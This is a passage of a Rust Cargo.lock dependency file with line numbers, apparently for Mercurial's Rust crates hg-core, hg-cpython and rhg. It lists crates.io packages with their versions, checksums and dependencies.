109 107 checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822"
110 108
111 109 [[package]]
112 110 name = "cfg-if"
113 111 version = "1.0.0"
114 112 source = "registry+https://github.com/rust-lang/crates.io-index"
115 113 checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
116 114
117 115 [[package]]
118 116 name = "chrono"
119 117 version = "0.4.19"
120 118 source = "registry+https://github.com/rust-lang/crates.io-index"
121 119 checksum = "670ad68c9088c2a963aaa298cb369688cf3f9465ce5e2d4ca10e6e0098a1ce73"
122 120 dependencies = [
123 121 "libc",
124 122 "num-integer",
125 123 "num-traits",
126 124 "time",
127 125 "winapi",
128 126 ]
129 127
130 128 [[package]]
131 129 name = "clap"
132 130 version = "2.33.3"
133 131 source = "registry+https://github.com/rust-lang/crates.io-index"
134 132 checksum = "37e58ac78573c40708d45522f0d80fa2f01cc4f9b4e2bf749807255454312002"
135 133 dependencies = [
136 134 "ansi_term",
137 135 "atty",
138 136 "bitflags",
139 137 "strsim",
140 138 "textwrap",
141 139 "unicode-width",
142 140 "vec_map",
143 141 ]
144 142
145 143 [[package]]
146 144 name = "const_fn"
147 145 version = "0.4.4"
148 146 source = "registry+https://github.com/rust-lang/crates.io-index"
149 147 checksum = "cd51eab21ab4fd6a3bf889e2d0958c0a6e3a61ad04260325e919e652a2a62826"
150 148
151 149 [[package]]
152 150 name = "cpufeatures"
153 151 version = "0.1.4"
154 152 source = "registry+https://github.com/rust-lang/crates.io-index"
155 153 checksum = "ed00c67cb5d0a7d64a44f6ad2668db7e7530311dd53ea79bcd4fb022c64911c8"
156 154 dependencies = [
157 155 "libc",
158 156 ]
159 157
160 158 [[package]]
161 159 name = "cpython"
162 160 version = "0.7.0"
163 161 source = "registry+https://github.com/rust-lang/crates.io-index"
164 162 checksum = "b7d46ba8ace7f3a1d204ac5060a706d0a68de6b42eafb6a586cc08bebcffe664"
165 163 dependencies = [
166 164 "libc",
167 165 "num-traits",
168 166 "paste",
169 167 "python27-sys",
170 168 "python3-sys",
171 169 ]
172 170
173 171 [[package]]
174 172 name = "crc32fast"
175 173 version = "1.2.1"
176 174 source = "registry+https://github.com/rust-lang/crates.io-index"
177 175 checksum = "81156fece84ab6a9f2afdb109ce3ae577e42b1228441eded99bd77f627953b1a"
178 176 dependencies = [
179 177 "cfg-if 1.0.0",
180 178 ]
181 179
182 180 [[package]]
183 181 name = "crossbeam-channel"
184 182 version = "0.4.4"
185 183 source = "registry+https://github.com/rust-lang/crates.io-index"
186 184 checksum = "b153fe7cbef478c567df0f972e02e6d736db11affe43dfc9c56a9374d1adfb87"
187 185 dependencies = [
188 186 "crossbeam-utils 0.7.2",
189 187 "maybe-uninit",
190 188 ]
191 189
192 190 [[package]]
193 191 name = "crossbeam-channel"
194 192 version = "0.5.0"
195 193 source = "registry+https://github.com/rust-lang/crates.io-index"
196 194 checksum = "dca26ee1f8d361640700bde38b2c37d8c22b3ce2d360e1fc1c74ea4b0aa7d775"
197 195 dependencies = [
198 196 "cfg-if 1.0.0",
199 197 "crossbeam-utils 0.8.1",
200 198 ]
201 199
202 200 [[package]]
203 201 name = "crossbeam-deque"
204 202 version = "0.8.0"
205 203 source = "registry+https://github.com/rust-lang/crates.io-index"
206 204 checksum = "94af6efb46fef72616855b036a624cf27ba656ffc9be1b9a3c931cfc7749a9a9"
207 205 dependencies = [
208 206 "cfg-if 1.0.0",
209 207 "crossbeam-epoch",
210 208 "crossbeam-utils 0.8.1",
211 209 ]
212 210
213 211 [[package]]
214 212 name = "crossbeam-epoch"
215 213 version = "0.9.1"
216 214 source = "registry+https://github.com/rust-lang/crates.io-index"
217 215 checksum = "a1aaa739f95311c2c7887a76863f500026092fb1dce0161dab577e559ef3569d"
218 216 dependencies = [
219 217 "cfg-if 1.0.0",
220 218 "const_fn",
221 219 "crossbeam-utils 0.8.1",
222 220 "lazy_static",
223 221 "memoffset",
224 222 "scopeguard",
225 223 ]
226 224
227 225 [[package]]
228 226 name = "crossbeam-utils"
229 227 version = "0.7.2"
230 228 source = "registry+https://github.com/rust-lang/crates.io-index"
231 229 checksum = "c3c7c73a2d1e9fc0886a08b93e98eb643461230d5f1925e4036204d5f2e261a8"
232 230 dependencies = [
233 231 "autocfg",
234 232 "cfg-if 0.1.10",
235 233 "lazy_static",
236 234 ]
237 235
238 236 [[package]]
239 237 name = "crossbeam-utils"
240 238 version = "0.8.1"
241 239 source = "registry+https://github.com/rust-lang/crates.io-index"
242 240 checksum = "02d96d1e189ef58269ebe5b97953da3274d83a93af647c2ddd6f9dab28cedb8d"
243 241 dependencies = [
244 242 "autocfg",
245 243 "cfg-if 1.0.0",
246 244 "lazy_static",
247 245 ]
248 246
249 247 [[package]]
250 248 name = "ctor"
251 249 version = "0.1.16"
252 250 source = "registry+https://github.com/rust-lang/crates.io-index"
253 251 checksum = "7fbaabec2c953050352311293be5c6aba8e141ba19d6811862b232d6fd020484"
254 252 dependencies = [
255 253 "quote",
256 254 "syn",
257 255 ]
258 256
259 257 [[package]]
260 258 name = "derive_more"
261 259 version = "0.99.11"
262 260 source = "registry+https://github.com/rust-lang/crates.io-index"
263 261 checksum = "41cb0e6161ad61ed084a36ba71fbba9e3ac5aee3606fb607fe08da6acbcf3d8c"
264 262 dependencies = [
265 263 "proc-macro2",
266 264 "quote",
267 265 "syn",
268 266 ]
269 267
270 268 [[package]]
271 269 name = "difference"
272 270 version = "2.0.0"
273 271 source = "registry+https://github.com/rust-lang/crates.io-index"
274 272 checksum = "524cbf6897b527295dff137cec09ecf3a05f4fddffd7dfcd1585403449e74198"
275 273
276 274 [[package]]
277 275 name = "digest"
278 276 version = "0.9.0"
279 277 source = "registry+https://github.com/rust-lang/crates.io-index"
280 278 checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066"
281 279 dependencies = [
282 280 "generic-array",
283 281 ]
284 282
285 283 [[package]]
286 284 name = "either"
287 285 version = "1.6.1"
288 286 source = "registry+https://github.com/rust-lang/crates.io-index"
289 287 checksum = "e78d4f1cc4ae33bbfc157ed5d5a5ef3bc29227303d595861deb238fcec4e9457"
290 288
291 289 [[package]]
292 290 name = "env_logger"
293 291 version = "0.7.1"
294 292 source = "registry+https://github.com/rust-lang/crates.io-index"
295 293 checksum = "44533bbbb3bb3c1fa17d9f2e4e38bbbaf8396ba82193c4cb1b6445d711445d36"
296 294 dependencies = [
297 295 "atty",
298 296 "humantime",
299 297 "log",
300 298 "regex",
301 299 "termcolor",
302 300 ]
303 301
304 302 [[package]]
305 303 name = "flate2"
306 304 version = "1.0.19"
307 305 source = "registry+https://github.com/rust-lang/crates.io-index"
308 306 checksum = "7411863d55df97a419aa64cb4d2f167103ea9d767e2c54a1868b7ac3f6b47129"
309 307 dependencies = [
310 308 "cfg-if 1.0.0",
311 309 "crc32fast",
312 310 "libc",
313 311 "libz-sys",
314 312 "miniz_oxide",
315 313 ]
316 314
317 315 [[package]]
318 316 name = "format-bytes"
319 317 version = "0.2.2"
320 318 source = "registry+https://github.com/rust-lang/crates.io-index"
321 319 checksum = "1c4e89040c7fd7b4e6ba2820ac705a45def8a0c098ec78d170ae88f1ef1d5762"
322 320 dependencies = [
323 321 "format-bytes-macros",
324 322 "proc-macro-hack",
325 323 ]
326 324
327 325 [[package]]
328 326 name = "format-bytes-macros"
329 327 version = "0.3.0"
330 328 source = "registry+https://github.com/rust-lang/crates.io-index"
331 329 checksum = "b05089e341a0460449e2210c3bf7b61597860b07f0deae58da38dbed0a4c6b6d"
332 330 dependencies = [
333 331 "proc-macro-hack",
334 332 "proc-macro2",
335 333 "quote",
336 334 "syn",
337 335 ]
338 336
339 337 [[package]]
340 338 name = "generic-array"
341 339 version = "0.14.4"
342 340 source = "registry+https://github.com/rust-lang/crates.io-index"
343 341 checksum = "501466ecc8a30d1d3b7fc9229b122b2ce8ed6e9d9223f1138d4babb253e51817"
344 342 dependencies = [
345 343 "typenum",
346 344 "version_check",
347 345 ]
348 346
349 347 [[package]]
350 348 name = "getrandom"
351 349 version = "0.1.15"
352 350 source = "registry+https://github.com/rust-lang/crates.io-index"
353 351 checksum = "fc587bc0ec293155d5bfa6b9891ec18a1e330c234f896ea47fbada4cadbe47e6"
354 352 dependencies = [
355 353 "cfg-if 0.1.10",
356 354 "libc",
357 355 "wasi 0.9.0+wasi-snapshot-preview1",
358 356 ]
359 357
360 358 [[package]]
361 359 name = "glob"
362 360 version = "0.3.0"
363 361 source = "registry+https://github.com/rust-lang/crates.io-index"
364 362 checksum = "9b919933a397b79c37e33b77bb2aa3dc8eb6e165ad809e58ff75bc7db2e34574"
365 363
366 364 [[package]]
367 365 name = "hermit-abi"
368 366 version = "0.1.17"
369 367 source = "registry+https://github.com/rust-lang/crates.io-index"
370 368 checksum = "5aca5565f760fb5b220e499d72710ed156fdb74e631659e99377d9ebfbd13ae8"
371 369 dependencies = [
372 370 "libc",
373 371 ]
374 372
375 373 [[package]]
376 374 name = "hg-core"
377 375 version = "0.1.0"
378 376 dependencies = [
379 377 "bitflags",
380 378 "byteorder",
381 379 "bytes-cast",
382 380 "clap",
383 381 "crossbeam-channel 0.4.4",
384 382 "derive_more",
385 383 "flate2",
386 384 "format-bytes",
387 385 "home",
388 386 "im-rc",
389 387 "itertools",
390 388 "lazy_static",
391 389 "libc",
392 390 "log",
393 391 "memmap2",
394 392 "micro-timer",
395 393 "pretty_assertions",
396 394 "rand",
397 395 "rand_distr",
398 396 "rand_pcg",
399 397 "rayon",
400 398 "regex",
401 399 "same-file",
402 400 "sha-1",
403 401 "stable_deref_trait",
404 402 "tempfile",
405 403 "twox-hash",
406 404 "zstd",
407 405 ]
408 406
409 407 [[package]]
410 408 name = "hg-cpython"
411 409 version = "0.1.0"
412 410 dependencies = [
413 411 "cpython",
414 412 "crossbeam-channel 0.4.4",
415 413 "env_logger",
416 414 "hg-core",
417 415 "libc",
418 416 "log",
419 417 "stable_deref_trait",
420 418 ]
421 419
422 420 [[package]]
423 421 name = "home"
424 422 version = "0.5.3"
425 423 source = "registry+https://github.com/rust-lang/crates.io-index"
426 424 checksum = "2456aef2e6b6a9784192ae780c0f15bc57df0e918585282325e8c8ac27737654"
427 425 dependencies = [
428 426 "winapi",
429 427 ]
430 428
431 429 [[package]]
432 430 name = "humantime"
433 431 version = "1.3.0"
434 432 source = "registry+https://github.com/rust-lang/crates.io-index"
435 433 checksum = "df004cfca50ef23c36850aaaa59ad52cc70d0e90243c3c7737a4dd32dc7a3c4f"
436 434 dependencies = [
437 435 "quick-error",
438 436 ]
439 437
440 438 [[package]]
441 439 name = "im-rc"
442 440 version = "15.0.0"
443 441 source = "registry+https://github.com/rust-lang/crates.io-index"
444 442 checksum = "3ca8957e71f04a205cb162508f9326aea04676c8dfd0711220190d6b83664f3f"
445 443 dependencies = [
446 444 "bitmaps",
447 445 "rand_core",
448 446 "rand_xoshiro",
449 447 "sized-chunks",
450 448 "typenum",
451 449 "version_check",
452 450 ]
453 451
454 452 [[package]]
455 453 name = "itertools"
456 454 version = "0.9.0"
457 455 source = "registry+https://github.com/rust-lang/crates.io-index"
458 456 checksum = "284f18f85651fe11e8a991b2adb42cb078325c996ed026d994719efcfca1d54b"
459 457 dependencies = [
460 458 "either",
461 459 ]
462 460
463 461 [[package]]
464 462 name = "jobserver"
465 463 version = "0.1.21"
466 464 source = "registry+https://github.com/rust-lang/crates.io-index"
467 465 checksum = "5c71313ebb9439f74b00d9d2dcec36440beaf57a6aa0623068441dd7cd81a7f2"
468 466 dependencies = [
469 467 "libc",
470 468 ]
471 469
472 470 [[package]]
473 471 name = "lazy_static"
474 472 version = "1.4.0"
475 473 source = "registry+https://github.com/rust-lang/crates.io-index"
476 474 checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
477 475
478 476 [[package]]
479 477 name = "libc"
480 478 version = "0.2.81"
481 479 source = "registry+https://github.com/rust-lang/crates.io-index"
482 480 checksum = "1482821306169ec4d07f6aca392a4681f66c75c9918aa49641a2595db64053cb"
483 481
484 482 [[package]]
485 483 name = "libz-sys"
486 484 version = "1.1.2"
487 485 source = "registry+https://github.com/rust-lang/crates.io-index"
488 486 checksum = "602113192b08db8f38796c4e85c39e960c145965140e918018bcde1952429655"
489 487 dependencies = [
490 488 "cc",
491 489 "pkg-config",
492 490 "vcpkg",
493 491 ]
494 492
495 493 [[package]]
496 494 name = "log"
497 495 version = "0.4.11"
498 496 source = "registry+https://github.com/rust-lang/crates.io-index"
499 497 checksum = "4fabed175da42fed1fa0746b0ea71f412aa9d35e76e95e59b192c64b9dc2bf8b"
500 498 dependencies = [
501 499 "cfg-if 0.1.10",
502 500 ]
503 501
504 502 [[package]]
505 503 name = "maybe-uninit"
506 504 version = "2.0.0"
507 505 source = "registry+https://github.com/rust-lang/crates.io-index"
508 506 checksum = "60302e4db3a61da70c0cb7991976248362f30319e88850c487b9b95bbf059e00"
509 507
510 508 [[package]]
511 509 name = "memchr"
512 510 version = "2.3.4"
513 511 source = "registry+https://github.com/rust-lang/crates.io-index"
514 512 checksum = "0ee1c47aaa256ecabcaea351eae4a9b01ef39ed810004e298d2511ed284b1525"
515 513
516 514 [[package]]
517 515 name = "memmap2"
518 516 version = "0.4.0"
519 517 source = "registry+https://github.com/rust-lang/crates.io-index"
520 518 checksum = "de5d3112c080d58ce560081baeaab7e1e864ca21795ddbf533d5b1842bb1ecf8"
521 519 dependencies = [
522 520 "libc",
523 521 "stable_deref_trait",
524 522 ]
525 523
526 524 [[package]]
527 525 name = "memoffset"
528 526 version = "0.6.1"
529 527 source = "registry+https://github.com/rust-lang/crates.io-index"
530 528 checksum = "157b4208e3059a8f9e78d559edc658e13df41410cb3ae03979c83130067fdd87"
531 529 dependencies = [
532 530 "autocfg",
533 531 ]
534 532
535 533 [[package]]
536 534 name = "micro-timer"
537 535 version = "0.3.1"
538 536 source = "registry+https://github.com/rust-lang/crates.io-index"
539 537 checksum = "2620153e1d903d26b72b89f0e9c48d8c4756cba941c185461dddc234980c298c"
540 538 dependencies = [
541 539 "micro-timer-macros",
542 540 "scopeguard",
543 541 ]
544 542
545 543 [[package]]
546 544 name = "micro-timer-macros"
547 545 version = "0.3.1"
548 546 source = "registry+https://github.com/rust-lang/crates.io-index"
549 547 checksum = "e28a3473e6abd6e9aab36aaeef32ad22ae0bd34e79f376643594c2b152ec1c5d"
550 548 dependencies = [
551 549 "proc-macro2",
552 550 "quote",
553 551 "scopeguard",
554 552 "syn",
555 553 ]
556 554
557 555 [[package]]
558 556 name = "miniz_oxide"
559 557 version = "0.4.3"
560 558 source = "registry+https://github.com/rust-lang/crates.io-index"
561 559 checksum = "0f2d26ec3309788e423cfbf68ad1800f061638098d76a83681af979dc4eda19d"
562 560 dependencies = [
563 561 "adler",
564 562 "autocfg",
565 563 ]
566 564
567 565 [[package]]
568 566 name = "num-integer"
569 567 version = "0.1.44"
570 568 source = "registry+https://github.com/rust-lang/crates.io-index"
571 569 checksum = "d2cc698a63b549a70bc047073d2949cce27cd1c7b0a4a862d08a8031bc2801db"
572 570 dependencies = [
573 571 "autocfg",
574 572 "num-traits",
575 573 ]
576 574
577 575 [[package]]
578 576 name = "num-traits"
579 577 version = "0.2.14"
580 578 source = "registry+https://github.com/rust-lang/crates.io-index"
581 579 checksum = "9a64b1ec5cda2586e284722486d802acf1f7dbdc623e2bfc57e65ca1cd099290"
582 580 dependencies = [
583 581 "autocfg",
584 582 ]
585 583
586 584 [[package]]
587 585 name = "num_cpus"
588 586 version = "1.13.0"
589 587 source = "registry+https://github.com/rust-lang/crates.io-index"
590 588 checksum = "05499f3756671c15885fee9034446956fff3f243d6077b91e5767df161f766b3"
591 589 dependencies = [
592 590 "hermit-abi",
593 591 "libc",
594 592 ]
595 593
596 594 [[package]]
597 595 name = "opaque-debug"
598 596 version = "0.3.0"
599 597 source = "registry+https://github.com/rust-lang/crates.io-index"
600 598 checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5"
601 599
602 600 [[package]]
603 601 name = "output_vt100"
604 602 version = "0.1.2"
605 603 source = "registry+https://github.com/rust-lang/crates.io-index"
606 604 checksum = "53cdc5b785b7a58c5aad8216b3dfa114df64b0b06ae6e1501cef91df2fbdf8f9"
607 605 dependencies = [
608 606 "winapi",
609 607 ]
610 608
611 609 [[package]]
612 610 name = "paste"
613 611 version = "1.0.5"
614 612 source = "registry+https://github.com/rust-lang/crates.io-index"
615 613 checksum = "acbf547ad0c65e31259204bd90935776d1c693cec2f4ff7abb7a1bbbd40dfe58"
616 614
617 615 [[package]]
618 616 name = "pkg-config"
619 617 version = "0.3.19"
620 618 source = "registry+https://github.com/rust-lang/crates.io-index"
621 619 checksum = "3831453b3449ceb48b6d9c7ad7c96d5ea673e9b470a1dc578c2ce6521230884c"
622 620
623 621 [[package]]
624 622 name = "ppv-lite86"
625 623 version = "0.2.10"
626 624 source = "registry+https://github.com/rust-lang/crates.io-index"
627 625 checksum = "ac74c624d6b2d21f425f752262f42188365d7b8ff1aff74c82e45136510a4857"
628 626
629 627 [[package]]
630 628 name = "pretty_assertions"
631 629 version = "0.6.1"
632 630 source = "registry+https://github.com/rust-lang/crates.io-index"
633 631 checksum = "3f81e1644e1b54f5a68959a29aa86cde704219254669da328ecfdf6a1f09d427"
634 632 dependencies = [
635 633 "ansi_term",
636 634 "ctor",
637 635 "difference",
638 636 "output_vt100",
639 637 ]
640 638
641 639 [[package]]
642 640 name = "proc-macro-hack"
643 641 version = "0.5.19"
644 642 source = "registry+https://github.com/rust-lang/crates.io-index"
645 643 checksum = "dbf0c48bc1d91375ae5c3cd81e3722dff1abcf81a30960240640d223f59fe0e5"
646 644
647 645 [[package]]
648 646 name = "proc-macro2"
649 647 version = "1.0.24"
650 648 source = "registry+https://github.com/rust-lang/crates.io-index"
651 649 checksum = "1e0704ee1a7e00d7bb417d0770ea303c1bccbabf0ef1667dae92b5967f5f8a71"
652 650 dependencies = [
653 651 "unicode-xid",
654 652 ]
655 653
656 654 [[package]]
657 655 name = "python27-sys"
658 656 version = "0.7.0"
659 657 source = "registry+https://github.com/rust-lang/crates.io-index"
660 658 checksum = "94670354e264300dde81a5864cbb6bfc9d56ac3dcf3a278c32cb52f816f4dfd1"
661 659 dependencies = [
662 660 "libc",
663 661 "regex",
664 662 ]
665 663
666 664 [[package]]
667 665 name = "python3-sys"
668 666 version = "0.7.0"
669 667 source = "registry+https://github.com/rust-lang/crates.io-index"
670 668 checksum = "b18b32e64c103d5045f44644d7ddddd65336f7a0521f6fde673240a9ecceb77e"
671 669 dependencies = [
672 670 "libc",
673 671 "regex",
674 672 ]
675 673
676 674 [[package]]
677 675 name = "quick-error"
678 676 version = "1.2.3"
679 677 source = "registry+https://github.com/rust-lang/crates.io-index"
680 678 checksum = "a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0"
681 679
682 680 [[package]]
683 681 name = "quote"
684 682 version = "1.0.7"
685 683 source = "registry+https://github.com/rust-lang/crates.io-index"
686 684 checksum = "aa563d17ecb180e500da1cfd2b028310ac758de548efdd203e18f283af693f37"
687 685 dependencies = [
688 686 "proc-macro2",
689 687 ]
690 688
691 689 [[package]]
692 690 name = "rand"
693 691 version = "0.7.3"
694 692 source = "registry+https://github.com/rust-lang/crates.io-index"
695 693 checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03"
696 694 dependencies = [
697 695 "getrandom",
698 696 "libc",
699 697 "rand_chacha",
700 698 "rand_core",
701 699 "rand_hc",
702 700 ]
703 701
704 702 [[package]]
705 703 name = "rand_chacha"
706 704 version = "0.2.2"
707 705 source = "registry+https://github.com/rust-lang/crates.io-index"
708 706 checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402"
709 707 dependencies = [
710 708 "ppv-lite86",
711 709 "rand_core",
712 710 ]
713 711
714 712 [[package]]
715 713 name = "rand_core"
716 714 version = "0.5.1"
717 715 source = "registry+https://github.com/rust-lang/crates.io-index"
718 716 checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19"
719 717 dependencies = [
720 718 "getrandom",
721 719 ]
722 720
723 721 [[package]]
724 722 name = "rand_distr"
725 723 version = "0.2.2"
726 724 source = "registry+https://github.com/rust-lang/crates.io-index"
727 725 checksum = "96977acbdd3a6576fb1d27391900035bf3863d4a16422973a409b488cf29ffb2"
728 726 dependencies = [
729 727 "rand",
730 728 ]
731 729
732 730 [[package]]
733 731 name = "rand_hc"
734 732 version = "0.2.0"
735 733 source = "registry+https://github.com/rust-lang/crates.io-index"
736 734 checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c"
737 735 dependencies = [
738 736 "rand_core",
739 737 ]
740 738
741 739 [[package]]
742 740 name = "rand_pcg"
743 741 version = "0.2.1"
744 742 source = "registry+https://github.com/rust-lang/crates.io-index"
745 743 checksum = "16abd0c1b639e9eb4d7c50c0b8100b0d0f849be2349829c740fe8e6eb4816429"
746 744 dependencies = [
747 745 "rand_core",
748 746 ]
749 747
750 748 [[package]]
751 749 name = "rand_xoshiro"
752 750 version = "0.4.0"
753 751 source = "registry+https://github.com/rust-lang/crates.io-index"
754 752 checksum = "a9fcdd2e881d02f1d9390ae47ad8e5696a9e4be7b547a1da2afbc61973217004"
755 753 dependencies = [
756 754 "rand_core",
757 755 ]
758 756
759 757 [[package]]
760 758 name = "rayon"
761 759 version = "1.5.0"
762 760 source = "registry+https://github.com/rust-lang/crates.io-index"
763 761 checksum = "8b0d8e0819fadc20c74ea8373106ead0600e3a67ef1fe8da56e39b9ae7275674"
764 762 dependencies = [
765 763 "autocfg",
766 764 "crossbeam-deque",
767 765 "either",
768 766 "rayon-core",
769 767 ]
770 768
771 769 [[package]]
772 770 name = "rayon-core"
773 771 version = "1.9.0"
774 772 source = "registry+https://github.com/rust-lang/crates.io-index"
775 773 checksum = "9ab346ac5921dc62ffa9f89b7a773907511cdfa5490c572ae9be1be33e8afa4a"
776 774 dependencies = [
777 775 "crossbeam-channel 0.5.0",
778 776 "crossbeam-deque",
779 777 "crossbeam-utils 0.8.1",
780 778 "lazy_static",
781 779 "num_cpus",
782 780 ]
783 781
784 782 [[package]]
785 783 name = "redox_syscall"
786 784 version = "0.1.57"
787 785 source = "registry+https://github.com/rust-lang/crates.io-index"
788 786 checksum = "41cc0f7e4d5d4544e8861606a285bb08d3e70712ccc7d2b84d7c0ccfaf4b05ce"
789 787
790 788 [[package]]
791 789 name = "regex"
792 790 version = "1.4.2"
793 791 source = "registry+https://github.com/rust-lang/crates.io-index"
794 792 checksum = "38cf2c13ed4745de91a5eb834e11c00bcc3709e773173b2ce4c56c9fbde04b9c"
795 793 dependencies = [
796 794 "aho-corasick",
797 795 "memchr",
798 796 "regex-syntax",
799 797 "thread_local",
800 798 ]
801 799
802 800 [[package]]
803 801 name = "regex-syntax"
804 802 version = "0.6.21"
805 803 source = "registry+https://github.com/rust-lang/crates.io-index"
806 804 checksum = "3b181ba2dcf07aaccad5448e8ead58db5b742cf85dfe035e2227f137a539a189"
807 805
808 806 [[package]]
809 807 name = "remove_dir_all"
810 808 version = "0.5.3"
811 809 source = "registry+https://github.com/rust-lang/crates.io-index"
812 810 checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7"
813 811 dependencies = [
814 812 "winapi",
815 813 ]
816 814
817 815 [[package]]
818 816 name = "rhg"
819 817 version = "0.1.0"
820 818 dependencies = [
821 819 "chrono",
822 820 "clap",
823 821 "derive_more",
824 822 "env_logger",
825 823 "format-bytes",
826 824 "hg-core",
827 825 "home",
828 826 "lazy_static",
829 827 "log",
830 828 "micro-timer",
831 829 "regex",
832 830 "users",
833 831 ]
834 832
835 833 [[package]]
836 834 name = "same-file"
837 835 version = "1.0.6"
838 836 source = "registry+https://github.com/rust-lang/crates.io-index"
839 837 checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502"
840 838 dependencies = [
841 839 "winapi-util",
842 840 ]
843 841
844 842 [[package]]
845 843 name = "scopeguard"
846 844 version = "1.1.0"
847 845 source = "registry+https://github.com/rust-lang/crates.io-index"
848 846 checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd"
849 847
850 848 [[package]]
851 849 name = "sha-1"
852 850 version = "0.9.6"
853 851 source = "registry+https://github.com/rust-lang/crates.io-index"
854 852 checksum = "8c4cfa741c5832d0ef7fab46cabed29c2aae926db0b11bb2069edd8db5e64e16"
855 853 dependencies = [
856 854 "block-buffer",
857 855 "cfg-if 1.0.0",
858 856 "cpufeatures",
859 857 "digest",
860 858 "opaque-debug",
861 859 ]
862 860
863 861 [[package]]
864 862 name = "sized-chunks"
865 863 version = "0.6.2"
866 864 source = "registry+https://github.com/rust-lang/crates.io-index"
867 865 checksum = "1ec31ceca5644fa6d444cc77548b88b67f46db6f7c71683b0f9336e671830d2f"
868 866 dependencies = [
869 867 "bitmaps",
870 868 "typenum",
871 869 ]
872 870
873 871 [[package]]
874 872 name = "stable_deref_trait"
875 873 version = "1.2.0"
876 874 source = "registry+https://github.com/rust-lang/crates.io-index"
877 875 checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
878 876
879 877 [[package]]
880 878 name = "static_assertions"
881 879 version = "1.1.0"
882 880 source = "registry+https://github.com/rust-lang/crates.io-index"
883 881 checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f"
884 882
885 883 [[package]]
886 884 name = "strsim"
887 885 version = "0.8.0"
888 886 source = "registry+https://github.com/rust-lang/crates.io-index"
889 887 checksum = "8ea5119cdb4c55b55d432abb513a0429384878c15dde60cc77b1c99de1a95a6a"
890 888
891 889 [[package]]
892 890 name = "syn"
893 891 version = "1.0.54"
894 892 source = "registry+https://github.com/rust-lang/crates.io-index"
895 893 checksum = "9a2af957a63d6bd42255c359c93d9bfdb97076bd3b820897ce55ffbfbf107f44"
896 894 dependencies = [
897 895 "proc-macro2",
898 896 "quote",
899 897 "unicode-xid",
900 898 ]
901 899
902 900 [[package]]
903 901 name = "tempfile"
904 902 version = "3.1.0"
905 903 source = "registry+https://github.com/rust-lang/crates.io-index"
906 904 checksum = "7a6e24d9338a0a5be79593e2fa15a648add6138caa803e2d5bc782c371732ca9"
907 905 dependencies = [
908 906 "cfg-if 0.1.10",
909 907 "libc",
910 908 "rand",
911 909 "redox_syscall",
912 910 "remove_dir_all",
913 911 "winapi",
914 912 ]
915 913
916 914 [[package]]
917 915 name = "termcolor"
918 916 version = "1.1.2"
919 917 source = "registry+https://github.com/rust-lang/crates.io-index"
920 918 checksum = "2dfed899f0eb03f32ee8c6a0aabdb8a7949659e3466561fc0adf54e26d88c5f4"
921 919 dependencies = [
922 920 "winapi-util",
923 921 ]
924 922
925 923 [[package]]
926 924 name = "textwrap"
927 925 version = "0.11.0"
928 926 source = "registry+https://github.com/rust-lang/crates.io-index"
929 927 checksum = "d326610f408c7a4eb6f51c37c330e496b08506c9457c9d34287ecc38809fb060"
930 928 dependencies = [
931 929 "unicode-width",
932 930 ]
933 931
934 932 [[package]]
935 933 name = "thread_local"
936 934 version = "1.0.1"
937 935 source = "registry+https://github.com/rust-lang/crates.io-index"
938 936 checksum = "d40c6d1b69745a6ec6fb1ca717914848da4b44ae29d9b3080cbee91d72a69b14"
939 937 dependencies = [
940 938 "lazy_static",
941 939 ]
942 940
943 941 [[package]]
944 942 name = "time"
945 943 version = "0.1.44"
946 944 source = "registry+https://github.com/rust-lang/crates.io-index"
947 945 checksum = "6db9e6914ab8b1ae1c260a4ae7a49b6c5611b40328a735b21862567685e73255"
948 946 dependencies = [
949 947 "libc",
950 948 "wasi 0.10.0+wasi-snapshot-preview1",
951 949 "winapi",
952 950 ]
953 951
954 952 [[package]]
955 953 name = "twox-hash"
956 954 version = "1.6.0"
957 955 source = "registry+https://github.com/rust-lang/crates.io-index"
958 956 checksum = "04f8ab788026715fa63b31960869617cba39117e520eb415b0139543e325ab59"
959 957 dependencies = [
960 958 "cfg-if 0.1.10",
961 959 "rand",
962 960 "static_assertions",
963 961 ]
964 962
965 963 [[package]]
966 964 name = "typenum"
967 965 version = "1.12.0"
968 966 source = "registry+https://github.com/rust-lang/crates.io-index"
969 967 checksum = "373c8a200f9e67a0c95e62a4f52fbf80c23b4381c05a17845531982fa99e6b33"
970 968
971 969 [[package]]
972 970 name = "unicode-width"
973 971 version = "0.1.8"
974 972 source = "registry+https://github.com/rust-lang/crates.io-index"
975 973 checksum = "9337591893a19b88d8d87f2cec1e73fad5cdfd10e5a6f349f498ad6ea2ffb1e3"
976 974
977 975 [[package]]
978 976 name = "unicode-xid"
979 977 version = "0.2.1"
980 978 source = "registry+https://github.com/rust-lang/crates.io-index"
981 979 checksum = "f7fe0bb3479651439c9112f72b6c505038574c9fbb575ed1bf3b797fa39dd564"
982 980
983 981 [[package]]
984 982 name = "users"
985 983 version = "0.11.0"
986 984 source = "registry+https://github.com/rust-lang/crates.io-index"
987 985 checksum = "24cc0f6d6f267b73e5a2cadf007ba8f9bc39c6a6f9666f8cf25ea809a153b032"
988 986 dependencies = [
989 987 "libc",
990 988 "log",
991 989 ]
992 990
993 991 [[package]]
994 992 name = "vcpkg"
995 993 version = "0.2.11"
996 994 source = "registry+https://github.com/rust-lang/crates.io-index"
997 995 checksum = "b00bca6106a5e23f3eee943593759b7fcddb00554332e856d990c893966879fb"
998 996
999 997 [[package]]
1000 998 name = "vec_map"
